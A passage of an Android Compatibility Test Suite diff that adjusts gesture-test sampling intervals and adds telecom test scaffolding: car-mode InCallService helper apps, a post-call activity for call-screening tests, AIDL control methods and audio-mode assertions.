     private float mPixelsPerDp;
+    private float mDensityPerCm;
     private int mDisplayWidth;
     private int mExclusionLimit;
     private UiDevice mDevice;
@@ -283,6 +283,7 @@
         final DisplayMetrics metrics = new DisplayMetrics();
         display.getRealMetrics(metrics);
         mPixelsPerDp = metrics.density;
+        mDensityPerCm = (int) ((float) metrics.densityDpi / 2.54);
         mDisplayWidth = metrics.widthPixels;
         mExclusionLimit = (int) (EXCLUSION_LIMIT_DP * mPixelsPerDp);
 
@@ -390,7 +391,7 @@
             Consumer<Point> callback) {
         final int theLeftestLine = viewBoundary.left + 1;
         final int theRightestLine = viewBoundary.right - 1;
-        final float interval = mPixelsPerDp * DIP_INTERVAL;
+        final float interval = mDensityPerCm;
 
         int count = 0;
         for (int i = theLeftestLine; i < theRightestLine; i += interval) {
@@ -413,7 +414,7 @@
     private int clickAllOfSamplePoints(Rect viewBoundary, Consumer<Point> callback) {
         final int theToppestLine = viewBoundary.top + 1;
         final int theBottomestLine = viewBoundary.bottom - 1;
-        final float interval = mPixelsPerDp * DIP_INTERVAL;
+        final float interval = mDensityPerCm;
         int count = 0;
         for (int i = theToppestLine; i < theBottomestLine; i += interval) {
             count += clickAllOfHorizontalSamplePoints(viewBoundary, i, callback);
@@ -431,7 +432,7 @@
 
         int count = 0;
 
-        for (int i = theToppestLine; i < theBottomestLine; i += mPixelsPerDp * DIP_INTERVAL) {
+        for (int i = theToppestLine; i < theBottomestLine; i += mDensityPerCm) {
             if (callback != null) {
                 callback.accept(new Point(theLeftestLine, i),
                         new Point(viewBoundary.centerX(), i));
@@ -456,7 +457,7 @@
         final int theBottomestLine = viewBoundary.bottom - 1;
 
         int count = 0;
-        for (int i = theToppestLine; i < theBottomestLine; i += mPixelsPerDp * DIP_INTERVAL) {
+        for (int i = theToppestLine; i < theBottomestLine; i += mDensityPerCm) {
             if (callback != null) {
                 callback.accept(new Point(theRightestLine, i),
                         new Point(viewBoundary.centerX(), i));
@@ -490,7 +491,7 @@
         final int theRightestLine = viewBoundary.right - 1;
 
         int count = 0;
-        for (int i = theLeftestLine; i < theRightestLine; i += mPixelsPerDp * DIP_INTERVAL) {
+        for (int i = theLeftestLine; i < theRightestLine; i += mDensityPerCm) {
             if (callback != null) {
                 callback.accept(new Point(i, theToppestLine),
                         new Point(i, viewBoundary.centerY()));
@@ -515,7 +516,7 @@
         final int theBottomestLine = viewBoundary.bottom - 1;
 
         int count = 0;
-        for (int i = theLeftestLine; i < theRightestLine; i += mPixelsPerDp * DIP_INTERVAL) {
+        for (int i = theLeftestLine; i < theRightestLine; i += mDensityPerCm) {
             if (callback != null) {
                 callback.accept(new Point(i, theBottomestLine),
                         new Point(i, viewBoundary.centerY()));
diff --git a/tests/tests/telecom/Android.bp b/tests/tests/telecom/Android.bp
index 5544eea..b574332 100644
--- a/tests/tests/telecom/Android.bp
+++ b/tests/tests/telecom/Android.bp
@@ -12,6 +12,23 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+filegroup {
+    name: "car-mode-app-srcs",
+    srcs: [
+        "src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java",
+        "src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java",
+    ],
+    path: "src/",
+}
+
+filegroup {
+    name: "car-mode-app-aidl",
+    srcs: [
+        "aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl",
+    ],
+    path: "aidl/",
+}
+
 android_test {
     name: "CtsTelecomTestCases",
     defaults: ["cts_defaults"],
@@ -28,6 +45,7 @@
     ],
     srcs: [
         "src/**/*.java",
+        "aidl/**/I*.aidl",
         "CallScreeningServiceTestApp/**/*.java",
         "CallScreeningServiceTestApp/**/I*.aidl",
         "ThirdPtyInCallServiceTestApp/**/*.java",
@@ -47,6 +65,7 @@
             "ThirdPtyInCallServiceTestApp/aidl/",
             "CallRedirectionServiceTestApp/aidl/",
             "CallScreeningServiceTestApp/aidl/",
+            "aidl/",
         ],
     },
     sdk_version: "test_current",
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 227a2ad..5e6a6ee 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -15,7 +15,8 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telecom.cts">
+    package="android.telecom.cts"
+    android:sharedUserId="android.telecom.cts">
     <uses-sdk android:minSdkVersion="21" />
     <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS" />
     <uses-permission android:name="android.permission.CALL_PHONE" />
@@ -29,6 +30,10 @@
     <uses-permission android:name="android.permission.ACCEPT_HANDOVER" />
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
     <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
+    <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
+    <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
 
     <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
 
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index b8e86c1..e09cb7c 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -28,6 +28,8 @@
         <option name="test-file-name" value="ThirdPtyInCallServiceTestApp.apk" />
         <option name="test-file-name" value="Api29InCallServiceTestApp.apk" />
         <option name="test-file-name" value="CallScreeningServiceTestApp.apk" />
+        <option name="test-file-name" value="CarModeTestApp.apk" />
+        <option name="test-file-name" value="CarModeTestAppTwo.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.telecom.cts" />
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
index bd8bb78..715e8f7 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
@@ -17,7 +17,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.telecom.cts.api29incallservice"
           android:versionCode="1"
-          android:versionName="1.0" >
+          android:versionName="1.0"
+          android:sharedUserId="android.telecom.cts">
 
     <!-- sdk 15 is the max for read call log -->
     <uses-sdk android:minSdkVersion="15"
@@ -25,7 +26,7 @@
 
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-    <uses-permission android:name="android.permission.CALL_COMPANION_APP" />
+    <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
 
     <application android:label="Api29CTSInCallService">
         <service android:name=".CtsApi29InCallService"
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallService.java b/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallService.java
index 31da35e..a1aaf35 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallService.java
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallService.java
@@ -54,4 +54,9 @@
             return sCalls.size();
         }
     }
+
+    static void reset() {
+        sCalls.clear();
+        sHistoricalCallCount = 0;
+    }
 }
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallServiceControl.java b/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallServiceControl.java
index b135606..27876cd 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallServiceControl.java
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallServiceControl.java
@@ -58,4 +58,10 @@
         return null;
     }
 
+    @Override
+    public boolean onUnbind(Intent intent) {
+        CtsApi29InCallService.reset();
+        return false;
+    }
+
 }
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
index c3b39a7..7428130 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
@@ -18,6 +18,9 @@
           package="android.telecom.cts.screeningtestapp">
     <permission android:name="android.telecom.cts.screeningtestapp.CTS_SERVICE_PERMISSION"
                 android.protectionLevel="signature"/>
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.REVOKE_RUNTIME_PERMISSIONS" />
+    <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" />
     <application android:label="CTSCSTest">
         <service android:name=".CtsCallScreeningService"
                  android:permission="android.permission.BIND_SCREENING_SERVICE">
@@ -30,5 +33,12 @@
                 <action android:name="android.telecom.cts.screeningtestapp.ACTION_CONTROL_CALL_SCREENING_SERVICE" />
             </intent-filter>
         </service>
+        <activity android:name=".CtsPostCallActivity"
+                  android:label="CtsPostCallActivity">
+            <intent-filter>
+                <action android:name="android.telecom.action.POST_CALL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
     </application>
 </manifest>
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/aidl/android/telecom/cts/screeningtestapp/ICallScreeningControl.aidl b/tests/tests/telecom/CallScreeningServiceTestApp/aidl/android/telecom/cts/screeningtestapp/ICallScreeningControl.aidl
index ec451da..9e7cc2c 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/aidl/android/telecom/cts/screeningtestapp/ICallScreeningControl.aidl
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/aidl/android/telecom/cts/screeningtestapp/ICallScreeningControl.aidl
@@ -24,4 +24,12 @@
 
     void setCallResponse(boolean shouldDisallowCall, boolean shouldRejectCall,
             boolean shouldSkipCall, boolean shouldSkipCallLog, boolean shouldSkipNotification);
+
+    boolean waitForBind();
+
+    boolean waitForActivity();
+
+    String getCachedHandle();
+
+    int getCachedDisconnectCause();
 }
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CallScreeningServiceControl.java b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CallScreeningServiceControl.java
index debd52c..96f4173 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CallScreeningServiceControl.java
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CallScreeningServiceControl.java
@@ -39,6 +39,7 @@
                     "android.telecom.cts.screeningtestapp/.CallScreeningServiceControl");
 
     private static CallScreeningServiceControl sCallScreeningServiceControl = null;
+    private CountDownLatch mBindingLatch = new CountDownLatch(1);
 
     private final IBinder mControlInterface =
             new android.telecom.cts.screeningtestapp.ICallScreeningControl.Stub() {
@@ -50,6 +51,8 @@
                             .setSkipCallLog(false)
                             .setSkipNotification(false)
                             .build();
+                    mBindingLatch = new CountDownLatch(1);
+                    CtsPostCallActivity.resetPostCallActivity();
                 }
 
                 @Override
@@ -67,6 +70,30 @@
                             .setSilenceCall(shouldSilenceCall)
                             .build();
                 }
+
+                @Override
+                public boolean waitForBind() {
+                    try {
+                        return mBindingLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+                    } catch (InterruptedException e) {
+                        return false;
+                    }
+                }
+
+                @Override
+                public boolean waitForActivity() {
+                    return CtsPostCallActivity.waitForActivity();
+                }
+
+                @Override
+                public String getCachedHandle() {
+                    return CtsPostCallActivity.getCachedHandle().getSchemeSpecificPart();
+                }
+
+                @Override
+                public int getCachedDisconnectCause() {
+                    return CtsPostCallActivity.getCachedDisconnectCause();
+                }
             };
 
     private CallScreeningService.CallResponse mCallResponse =
@@ -99,6 +126,10 @@
         return false;
     }
 
+    public void onScreeningServiceBound() {
+        mBindingLatch.countDown();
+    }
+
     public CallScreeningService.CallResponse getCallResponse() {
         return mCallResponse;
     }
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsCallScreeningService.java b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsCallScreeningService.java
index 1d291b6..3e2bb40 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsCallScreeningService.java
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsCallScreeningService.java
@@ -16,18 +16,13 @@
 
 package android.telecom.cts.screeningtestapp;
 
-import android.content.ComponentName;
 import android.content.Intent;
-import android.graphics.drawable.Icon;
 import android.os.IBinder;
 import android.telecom.Call;
 import android.telecom.CallScreeningService;
 
-import android.text.TextUtils;
 import android.util.Log;
 
-import java.util.List;
-
 /**
  * Provides a CTS-test implementation of {@link CallScreeningService}.
  * This emulates a third-party implementation of {@link CallScreeningService}, where
@@ -36,19 +31,21 @@
  */
 public class CtsCallScreeningService extends CallScreeningService {
     private static final String TAG = CtsCallScreeningService.class.getSimpleName();
+    private CallScreeningServiceControl mCallScreeningServiceControl;
 
     @Override
     public IBinder onBind(Intent intent) {
         Log.i(TAG, "onBind: returning actual service");
+        mCallScreeningServiceControl = CallScreeningServiceControl.getInstance();
+        mCallScreeningServiceControl.onScreeningServiceBound();
         return super.onBind(intent);
     }
 
     @Override
     public void onScreenCall(Call.Details callDetails) {
         Log.i(TAG, "onScreenCall");
-        CallScreeningServiceControl control = CallScreeningServiceControl.getInstance();
-        if (control != null) {
-            respondToCall(callDetails, control.getCallResponse());
+        if (mCallScreeningServiceControl != null) {
+            respondToCall(callDetails, mCallScreeningServiceControl.getCallResponse());
         } else {
             Log.w(TAG, "No control interface.");
         }
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsPostCallActivity.java b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsPostCallActivity.java
new file mode 100644
index 0000000..ac5ce01
--- /dev/null
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsPostCallActivity.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.screeningtestapp;
+
+import static android.telecom.TelecomManager.EXTRA_DISCONNECT_CAUSE;
+import static android.telecom.TelecomManager.EXTRA_HANDLE;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class CtsPostCallActivity extends Activity {
+    private static final String ACTION_POST_CALL = "android.telecom.action.POST_CALL";
+    private static final int DEFAULT_DISCONNECT_CAUSE = -1;
+    private static final long TEST_TIMEOUT = 5000;
+
+    private static Uri cachedHandle;
+    private static int cachedDisconnectCause;
+    private static CountDownLatch sLatch = new CountDownLatch(1);
+
+    @Override
+    protected void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        final Intent intent = getIntent();
+        final String action = intent != null ? intent.getAction() : null;
+        if (ACTION_POST_CALL.equals(action)) {
+            cachedHandle = intent.getParcelableExtra(EXTRA_HANDLE);
+            cachedDisconnectCause = intent
+                    .getIntExtra(EXTRA_DISCONNECT_CAUSE, DEFAULT_DISCONNECT_CAUSE);
+            sLatch.countDown();
+        }
+    }
+
+    public static Uri getCachedHandle() {
+        return cachedHandle;
+    }
+
+    public static int getCachedDisconnectCause() {
+        return cachedDisconnectCause;
+    }
+
+    public static void resetPostCallActivity() {
+        sLatch = new CountDownLatch(1);
+        cachedHandle = null;
+        cachedDisconnectCause = DEFAULT_DISCONNECT_CAUSE;
+    }
+
+    public static boolean waitForActivity() {
+        try {
+            return sLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            return false;
+        }
+    }
+}
diff --git a/tests/tests/telecom/CarModeTestApp/Android.bp b/tests/tests/telecom/CarModeTestApp/Android.bp
new file mode 100644
index 0000000..84afa03
--- /dev/null
+++ b/tests/tests/telecom/CarModeTestApp/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CarModeTestApp",
+    defaults: ["cts_defaults"],
+    srcs: [
+        ":car-mode-app-srcs",
+        ":car-mode-app-aidl",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "CtsTelecomMockLib",
+    ],
+    sdk_version: "test_current",
+    test_suites: [
+        "cts",
+        "vts",
+    ],
+}
diff --git a/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml b/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..01d7094
--- /dev/null
+++ b/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.telecom.cts.carmodetestapp"
+          android:versionCode="1"
+          android:versionName="1.0"
+          android:sharedUserId="android.telecom.cts">
+
+    <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
+    <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
+
+    <application android:label="CarModeTestApp">
+        <service android:name=".CtsCarModeInCallService"
+                 android:permission="android.permission.BIND_INCALL_SERVICE"
+                 android:launchMode="singleInstance"
+                 android:exported="true">
+            <meta-data android:name="android.telecom.IN_CALL_SERVICE_CAR_MODE_UI"
+                       android:value="true"/>
+            <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
+                       android:value="true" />
+            <intent-filter>
+              <action android:name="android.telecom.InCallService"/>
+            </intent-filter>
+        </service>
+        <service android:name=".CtsCarModeInCallServiceControl"
+                 android:launchMode="singleInstance"
+                 android:exported="true">
+            <intent-filter>
+                <action
+                    android:name="android.telecom.cts.carmodetestapp.ACTION_CAR_MODE_CONTROL"/>
+            </intent-filter>
+        </service>
+    </application>
+</manifest>
diff --git a/tests/tests/telecom/CarModeTestAppTwo/Android.bp b/tests/tests/telecom/CarModeTestAppTwo/Android.bp
new file mode 100644
index 0000000..fee7641
--- /dev/null
+++ b/tests/tests/telecom/CarModeTestAppTwo/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CarModeTestAppTwo",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+        ":car-mode-app-srcs",
+        ":car-mode-app-aidl",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "CtsTelecomMockLib",
+    ],
+    sdk_version: "test_current",
+    test_suites: [
+        "cts",
+        "vts",
+    ],
+}
diff --git a/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml b/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml
new file mode 100644
index 0000000..bee5d20
--- /dev/null
+++ b/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.telecom.cts.carmodetestapptwo"
+          android:versionCode="1"
+          android:versionName="1.0"
+          android:sharedUserId="android.telecom.cts">
+
+    <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
+    <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
+
+    <application android:label="CarModeTestAppTwo">
+        <service android:name=".CtsCarModeInCallServiceTwo"
+                 android:permission="android.permission.BIND_INCALL_SERVICE"
+                 android:launchMode="singleInstance"
+                 android:exported="true">
+            <meta-data android:name="android.telecom.IN_CALL_SERVICE_CAR_MODE_UI"
+                       android:value="true"/>
+            <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
+                       android:value="true" />
+            <intent-filter>
+              <action android:name="android.telecom.InCallService"/>
+            </intent-filter>
+        </service>
+        <service android:name=".CtsCarModeInCallServiceControlTwo"
+                 android:launchMode="singleInstance"
+                 android:exported="true">
+            <intent-filter>
+                <action
+                    android:name="android.telecom.cts.carmodetestapp.ACTION_CAR_MODE_CONTROL"/>
+            </intent-filter>
+        </service>
+    </application>
+</manifest>
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java b/tests/tests/telecom/CarModeTestAppTwo/src/android/telecom/cts/carmodetestapptwo/CtsCarModeInCallServiceControlTwo.java
similarity index 69%
copy from tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
copy to tests/tests/telecom/CarModeTestAppTwo/src/android/telecom/cts/carmodetestapptwo/CtsCarModeInCallServiceControlTwo.java
index 37276e2..cde8622 100644
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
+++ b/tests/tests/telecom/CarModeTestAppTwo/src/android/telecom/cts/carmodetestapptwo/CtsCarModeInCallServiceControlTwo.java
@@ -14,15 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.tests.atomicinstall.testapp;
+package android.telecom.cts.carmodetestapptwo;
 
-import android.app.Activity;
-import android.os.Bundle;
+import android.telecom.cts.carmodetestapp.CtsCarModeInCallServiceControl;
 
-public class MainActivity extends Activity {
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-    }
+public class CtsCarModeInCallServiceControlTwo extends CtsCarModeInCallServiceControl {
 }
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java b/tests/tests/telecom/CarModeTestAppTwo/src/android/telecom/cts/carmodetestapptwo/CtsCarModeInCallServiceTwo.java
similarity index 69%
copy from tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
copy to tests/tests/telecom/CarModeTestAppTwo/src/android/telecom/cts/carmodetestapptwo/CtsCarModeInCallServiceTwo.java
index 37276e2..27cd911 100644
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
+++ b/tests/tests/telecom/CarModeTestAppTwo/src/android/telecom/cts/carmodetestapptwo/CtsCarModeInCallServiceTwo.java
@@ -14,15 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.tests.atomicinstall.testapp;
+package android.telecom.cts.carmodetestapptwo;
 
-import android.app.Activity;
-import android.os.Bundle;
+import android.telecom.cts.carmodetestapp.CtsCarModeInCallService;
 
-public class MainActivity extends Activity {
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-    }
+public class CtsCarModeInCallServiceTwo extends CtsCarModeInCallService {
 }
diff --git a/tests/tests/telecom/OWNERS b/tests/tests/telecom/OWNERS
new file mode 100644
index 0000000..f4921e0
--- /dev/null
+++ b/tests/tests/telecom/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+include ../telephony/OWNERS
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java b/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
similarity index 69%
copy from tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
copy to tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
index 37276e2..bf7b9a0 100644
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
+++ b/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
@@ -14,15 +14,14 @@
  * limitations under the License.
  */
 
-package com.android.tests.atomicinstall.testapp;
+package android.telecom.cts.carmodetestapp;
 
-import android.app.Activity;
-import android.os.Bundle;
-
-public class MainActivity extends Activity {
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-    }
+interface ICtsCarModeInCallServiceControl {
+    boolean isBound();
+    boolean isUnbound();
+    void reset();
+    int getCallCount();
+    void enableCarMode(int priority);
+    void disableCarMode();
+    void disconnectCalls();
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
index 7991b7c..313651e 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
@@ -10,6 +10,7 @@
 import android.media.AudioManager;
 import android.os.Bundle;
 import android.os.IBinder;
+import android.provider.CallLog;
 import android.telecom.Call;
 import android.telecom.Call.Details;
 import android.telecom.CallScreeningService.CallResponse;
@@ -24,14 +25,22 @@
 import android.text.TextUtils;
 import android.util.Log;
 
-import java.util.concurrent.ConcurrentLinkedQueue;
-import java.util.concurrent.CountDownLatch;
+import androidx.test.InstrumentationRegistry;
+
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
 public class BackgroundCallAudioTest extends BaseTelecomTestWithMockServices {
     private static final String LOG_TAG = BackgroundCallAudioTest.class.getSimpleName();
 
+    private ServiceConnection mApiCompatControlServiceConnection;
+
+    // copied from AudioSystem.java -- defined here because that change isn't in AOSP yet.
+    private static final int MODE_CALL_SCREENING = 4;
+
+    // true if there's platform support for call screening in the audio stack.
+    private boolean doesAudioManagerSupportCallScreening = false;
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -44,6 +53,11 @@
             AudioManager audioManager = mContext.getSystemService(AudioManager.class);
             audioManager.adjustStreamVolume(AudioManager.STREAM_RING,
                     AudioManager.ADJUST_UNMUTE, 0);
+            // TODO: uncomment when call screening APIs in AudioManager come to AOSP
+            /*
+            doesAudioManagerSupportCallScreening =
+                    audioManager.isCallScreeningModeSupported();
+            */
         }
     }
 
@@ -77,7 +91,9 @@
         assertConnectionState(connection, Connection.STATE_ACTIVE);
 
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
-        assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+        if (doesAudioManagerSupportCallScreening) {
+            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+        }
 
         verifySimulateRingAndUserPickup(call, connection);
     }
@@ -101,7 +117,9 @@
         assertConnectionState(connection, Connection.STATE_ACTIVE);
 
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
-        assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+        if (doesAudioManagerSupportCallScreening) {
+            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+        }
 
         call.disconnect();
         assertCallState(call, Call.STATE_DISCONNECTED);
@@ -127,7 +145,9 @@
         assertConnectionState(connection, Connection.STATE_ACTIVE);
 
